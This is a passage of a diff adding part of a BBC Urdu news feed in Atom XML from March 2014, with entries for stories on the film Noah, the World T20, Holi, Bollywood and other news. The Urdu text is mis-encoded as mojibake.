+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/12/19/131219130658_dhoom_3_144x81_yashrajfilms_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/12/19/131219130658_dhoom_3_144x81_yashrajfilms_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/12/19/131219130658_dhoom_3_144x81_yashrajfilms_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30732922</id>
+ <dc:identifier>30732922</dc:identifier>
+ <updated>2014-03-14T02:55:35+05:00</updated>
+ <published>2014-03-14T02:13:16+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="entertainment" label="ÙÙ† Ùنکار"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">Ûالی ÙˆÚˆ Ú©ÛŒ Ùلم ’نوح‘ پر مشرق وسطیٰ Ú©Û’ کئی ممالک میں پابندی</title>
+ <summary xml:lang="ur">مشرق وسطیٰ Ú©Û’ تین ممالک Ù…ØªØ­Ø¯Û Ø¹Ø±Ø¨ امارات، قطر اور بحرین Ù†Û’ Ûالی ÙˆÚˆ Ú©ÛŒ نئی Ùلم ’نوح‘ پر پابندی عائد کردی ÛÛ’Û”</summary>
+ <dc:subject>مشرق وسطیٰ، نوح، Ûالی وڈ، hollywood, noah, middle east, film</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/entertainment/2014/03/140313_film_noah_banned_middle_east_rh.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/entertainment/2014/03/140313_film_noah_banned_middle_east_rh.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312034438_noah_144x81_ap_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312034438_noah_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312034438_noah_144x81_ap_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312034438_noah_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30746680</id>
+ <dc:identifier>30746680</dc:identifier>
+ <updated>2014-03-16T21:29:09+05:00</updated>
+ <published>2014-03-14T19:34:57+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="indepth" label="منظرنامÛ"/>
+ <rights>not restricted</rights>
+ <title xml:lang="ur">آئی سی سی ورلڈ ٹی ٹوئنٹی 2014</title>
+ <summary xml:lang="ur">Ø¨Ù†Ú¯Ù„Û Ø¯ÛŒØ´ میں منعقد Ûونے والے کرکٹ Ú©Û’ کھیل Ú©Û’ مختصر ترین انٹرنیشنل Ùارمیٹ Ù¹ÛŒ ٹوئنٹی Ú©Û’ پانچویں عالمی مقابلوں پر بی بی سی اردو کا خصوصی ضمیمÛÛ”</summary>
+ <dc:subject>Ù¹ÛŒ ٹوئنٹی، کرکٹ، ضمیمÛØŒ t20, cricket, world, sports</dc:subject>
+ <link rel="alternate" type="text/html" title="cluster"
+ href="http://www.bbc.co.uk/urdu/indepth/icc_world_t20_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-cluster"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/indepth/icc_world_t20_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2013-12-12:28873117</id>
+ <dc:identifier>28873117</dc:identifier>
+ <updated>2013-12-12T19:47:30+05:00</updated>
+ <published>2013-12-12T19:44:35+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">سیربین Ù¹ÛŒ ÙˆÛŒ اب ÛÙتے میں پانچ دن</title>
+ <summary xml:lang="ur">بی بی سی اردو Ù†Û’ اپنے ٹیلی ÙˆÚ˜Ù† پروگرام ’سیربین‘ Ú©Ùˆ ÛÙتے میں Ù…ÙˆØ¬ÙˆØ¯Û ØªÛŒÙ† دن سے بڑھا کر پانچ دن تک پیش کرنے کا اعلان کیا ÛÛ’Û”</summary>
+ <dc:subject>sairbeen, tv, relaunch, سیربین ، ٹی وی،</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/multimedia/2013/12/131212_sairbeen_tv_relaunch_fz.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/multimedia/2013/12/131212_sairbeen_tv_relaunch_fz.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/03/130503203153_sairbeen_tv_live_2.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/03/130503203153_sairbeen_tv_live_2.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/03/130503203153_sairbeen_tv_live_2.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/03/130503203153_sairbeen_tv_live_2.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30777617</id>
+ <dc:identifier>30777617</dc:identifier>
+ <updated>2014-03-16T20:20:26+05:00</updated>
+ <published>2014-03-16T20:10:22+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">دنیا میں بکھرے Ûولی Ú©Û’ رنگ</title>
+ <summary xml:lang="ur">رنگوں سے بھرے Ûندو تÛوار Ûولی Ú©ÛŒ تصاویر</summary>
+ <dc:subject>Ûولی، تصاویر، holi, pictures</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140316_colours_of_holi_pictures_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/multimedia/2014/03/140316_colours_of_holi_pictures_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316145404_holi_celeberations_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316145404_holi_celeberations_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316145404_holi_celeberations_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316145404_holi_celeberations_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30764229</id>
+ <dc:identifier>30764229</dc:identifier>
+ <updated>2014-03-15T20:57:02+05:00</updated>
+ <published>2014-03-15T20:52:22+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">نزاکت: چھو دیں تو بکھر جائیں۔۔۔</title>
+ <summary xml:lang="ur">’نازک‘ کے عنوان پر بی بی سی کے قارئین کی تصاویر۔</summary>
+ <dc:subject>نزاکت، نازک، تصاویر، قارئین، delicate, ugc, pics</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140315_delicate_ugc_pictures_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/multimedia/2014/03/140315_delicate_ugc_pictures_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313114032_pictures_on_delicate_theme_sent_by_bbc_readers_144x81_meganhader_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313114032_pictures_on_delicate_theme_sent_by_bbc_readers_144x81_meganhader_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313114032_pictures_on_delicate_theme_sent_by_bbc_readers_144x81_meganhader_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313114032_pictures_on_delicate_theme_sent_by_bbc_readers_144x81_meganhader_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30746380</id>
+ <dc:identifier>30746380</dc:identifier>
+ <updated>2014-03-14T20:14:55+05:00</updated>
+ <published>2014-03-14T19:19:02+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">اÙغان Ù…Ûاجرین کا پاکستان Ú©Ùˆ تحÙÛ</title>
+ <summary xml:lang="ur">اÙغان Ù…Ûاجرین Ú©Û’ پاکستان آنے سے قالین Ú©ÛŒ صنعت کا احیاء Ûوا </summary>
+ <dc:subject>pakistan, afghanistan, refugee, women, carpet, makingقالینوں کی صنعت</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140314_pakistan_afghanistan_carpet_ra.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/multimedia/2014/03/140314_pakistan_afghanistan_carpet_ra.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314151257_afghan_carpet_pakistan_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314151257_afghan_carpet_pakistan_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314151257_afghan_carpet_pakistan_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314151257_afghan_carpet_pakistan_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30769890</id>
+ <dc:identifier>30769890</dc:identifier>
+ <updated>2014-03-16T10:43:35+05:00</updated>
+ <published>2014-03-16T10:04:57+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="pakistan" label="پاکستان"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">وادی٠سندھ کا دائم و قائم دیوتا</title>
+ <summary xml:lang="ur">بھٹوؤں Ú©ÛŒ تین نسلیں بدل گئیں مگر Ø´Ø§Û ØµØ§Ø­Ø¨ Ú©ÛŒ ÙˆÙا جاری ÛÛ’</summary>
+ <dc:subject/>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/pakistan/2014/03/140316_baat_say_baat_sa.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/pakistan/2014/03/140316_baat_say_baat_sa.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/28/130528150357_qaim-ali-shah1441.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/28/130528150357_qaim-ali-shah1441.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/28/130528150357_qaim-ali-shah1441.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/28/130528150357_qaim-ali-shah1441.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30757641</id>
+ <dc:identifier>30757641</dc:identifier>
+ <updated>2014-03-15T18:21:54+05:00</updated>
+ <published>2014-03-15T13:04:25+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="entertainment" label="ÙÙ† Ùنکار"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">Ø¹Ø§Ù„ÛŒÛ Ø¨Ú¾Ù¹ Ú©ÛŒ شناخت اور سونم Ú©Û’ سخت Ùیصلے</title>
+ <summary xml:lang="ur">Ø¹Ø§Ù„ÛŒÛ Ø¨Ú¾Ù¹ Ú©Ûتی Ûیں Ú©Û Ùلمی دنیا نےان Ú©Û’ اندر تجربے اور اداکاری Ú©Û’ سطح پر تبدیلی پیدا Ú©ÛŒ ÛÛ’ لیکن انسان Ú©Û’ طور پر Ù†Ûیں۔ </summary>
+ <dc:subject>بالی ÙˆÚˆ راؤنڈ اپ، Ùلم، سینیما، تÙریح، Ø¹Ø§Ù„ÛŒÛ Ø¨Ú¾Ù¹ØŒ عامر حخان، کرن جوÛر، سونم کپور، bollywood, film, cinema, entertainment, aamir, aalia bhat, karan johar, sonam kapoor, , </dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/entertainment/2014/03/140315_bollywood_roundup_mb.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/entertainment/2014/03/140315_bollywood_roundup_mb.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315083627_aalia_bhat_144x81__nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315083627_aalia_bhat_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315083627_aalia_bhat_144x81__nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315083627_aalia_bhat_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/entertainment/2014/03/140309_bollywood_roundup_sa.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/entertainment/2014/03/140309_bollywood_roundup_sa.shtml"/>
+ <dc:title>سونم کپور Ú©Ùˆ پیار چاÛیے یا پیسÛØŸ</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/04/140304084742_sonam_kapoor_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/04/140304084742_sonam_kapoor_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/04/140304084742_sonam_kapoor_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/04/140304084742_sonam_kapoor_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30765441</id>
+ <dc:identifier>30765441</dc:identifier>
+ <updated>2014-03-15T22:19:26+05:00</updated>
+ <published>2014-03-15T21:47:28+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="world" label="ورلڈ"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">دس چیزیں جن سے ÛÙ… Ú¯Ø°Ø´ØªÛ ÛÙتے لاعلم تھے</title>
+ <summary xml:lang="ur">انسان Ú©ÛŒ آواز اس Ú©ÛŒ شخصیت Ú©ÛŒ غماز Ûوتی ÛÛ’ اور تنÛائی کا شکار مور مورنیوں Ú©Ùˆ Ù…ØªÙˆØ¬Û Ú©Ø±Ù†Û’ Ú©Û’ لیے جنسی عمل سے جڑی آوازیں نکالتے Ûیں۔</summary>
+ <dc:subject>دس چیزیں، ten things</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140315_10_unknown_things_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140315_10_unknown_things_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312151347_peacock_144x81_rdakin_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312151347_peacock_144x81_rdakin_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312151347_peacock_144x81_rdakin_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312151347_peacock_144x81_rdakin_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30765582</id>
+ <dc:identifier>30765582</dc:identifier>
+ <updated>2014-03-15T22:49:37+05:00</updated>
+ <published>2014-03-15T21:56:32+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="world" label="ورلڈ"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">یورو ملین: برطانوی Ø´Ûری Ù†Û’ دس کروڑ پاؤنڈ جیت لیے</title>
+ <summary xml:lang="ur">یورپ بھر میں Ûر ÛÙتے کھیلی جانی والی مشÛور لاٹری ’یوروملین‘ کا دس کروڑ پاؤنڈ سے Ø²ÛŒØ§Ø¯Û Ù…Ø§Ù„ÛŒØª کا انعام ایک برطانوی Ú©Û’ حصے میں آیا ÛÛ’Û”</summary>
+ <dc:subject>euromillion, jackpot, lottery, لاٹری، یوروملین، برطانیÛ</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140315_euromillion_winner_sq.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140315_euromillion_winner_sq.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315174100_euromillion-lottery_144x81__nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315174100_euromillion-lottery_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315174100_euromillion-lottery_144x81__nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315174100_euromillion-lottery_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-15:30758132</id>
+ <dc:identifier>30758132</dc:identifier>
+ <updated>2014-03-15T18:58:13+05:00</updated>
+ <published>2014-03-15T13:50:49+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="regional" label="آس پاس"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">بھارتی الیکشن:’مذÛبی جماعتوں Ú©Û’ لیے خطرے Ú©ÛŒ گھنٹی‘</title>
+ <summary xml:lang="ur">بدلتے Ûوئے بھارت اور اس Ú©ÛŒ انتخابی سیاست میں بÛت سی سیاسی جماعتوں Ú©ÛŒ طرح مذÛبی جماعتیں بھی اپنا اثر بتدریج Ú©Ú¾Ùˆ رÛÛŒ Ûیں۔</summary>
+ <dc:subject>بھارت، الیکشن، مذÛبی جماعتیں، شکیل، دوسرا Ù¾Ûلو</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/regional/2014/03/140315_doosra_pehlu_india_religious_parties_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/regional/2014/03/140315_doosra_pehlu_india_religious_parties_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/12/12/131212054646_narendra_modi_muslim_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/12/12/131212054646_narendra_modi_muslim_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/12/12/131212054646_narendra_modi_muslim_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/12/12/131212054646_narendra_modi_muslim_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-14:30749283</id>
+ <dc:identifier>30749283</dc:identifier>
+ <updated>2014-03-14T23:55:32+05:00</updated>
+ <published>2014-03-14T21:14:43+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="world" label="ورلڈ"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">ÙÙ†ÛŒ خرابی یا پائلٹ Ú©ÛŒ غلطی؟</title>
+ <summary xml:lang="ur">ایک مساÙر بردار Ø·ÛŒØ§Ø±Û Ú©ÛŒÙˆÚº ØªØ¨Ø§Û Ûوتا ÛÛ’Û” کیا ایسا ÛÙ…ÛŒØ´Û ÙÙ†ÛŒ خرابی Ú©ÛŒ ÙˆØ¬Û Ø³Û’ Ûوتا ÛÛ’ یا اس Ú©Û’ پیچھے انسانی غلطی کا Ûاتھ Ûوتا ÛÛ’ØŸ</summary>
+ <dc:subject>plane, aircraft, airlines, crash, air safetey, pilot, حادثÛØŒ Ùضائی، جÛاز، طیارÛØŒ پائلٹ</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/world/2014/03/140314_plane_crashes_sq.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/world/2014/03/140314_plane_crashes_sq.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314184100_plane-crash_144x81__nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314184100_plane-crash_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314184100_plane-crash_144x81__nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314184100_plane-crash_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30768930</id>
+ <dc:identifier>30768930</dc:identifier>
+ <updated>2014-03-16T07:09:12+05:00</updated>
+ <published>2014-03-16T06:52:02+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">Ú¯Ø°Ø´ØªÛ ÛÙتے کا پاکستان</title>
+ <summary xml:lang="ur">پاکستان میں Ú¯Ø°Ø´ØªÛ ÛÙتے پیش آنے والے اÛÙ… واقعات کا احوال تصاویر میں</summary>
+ <dc:subject>pakistan, pictures, پاکستان، تصاویر</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140316_pakistan_week_in_pics_rh.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/multimedia/2014/03/140316_pakistan_week_in_pics_rh.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316012923_bear_144x81_ap_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
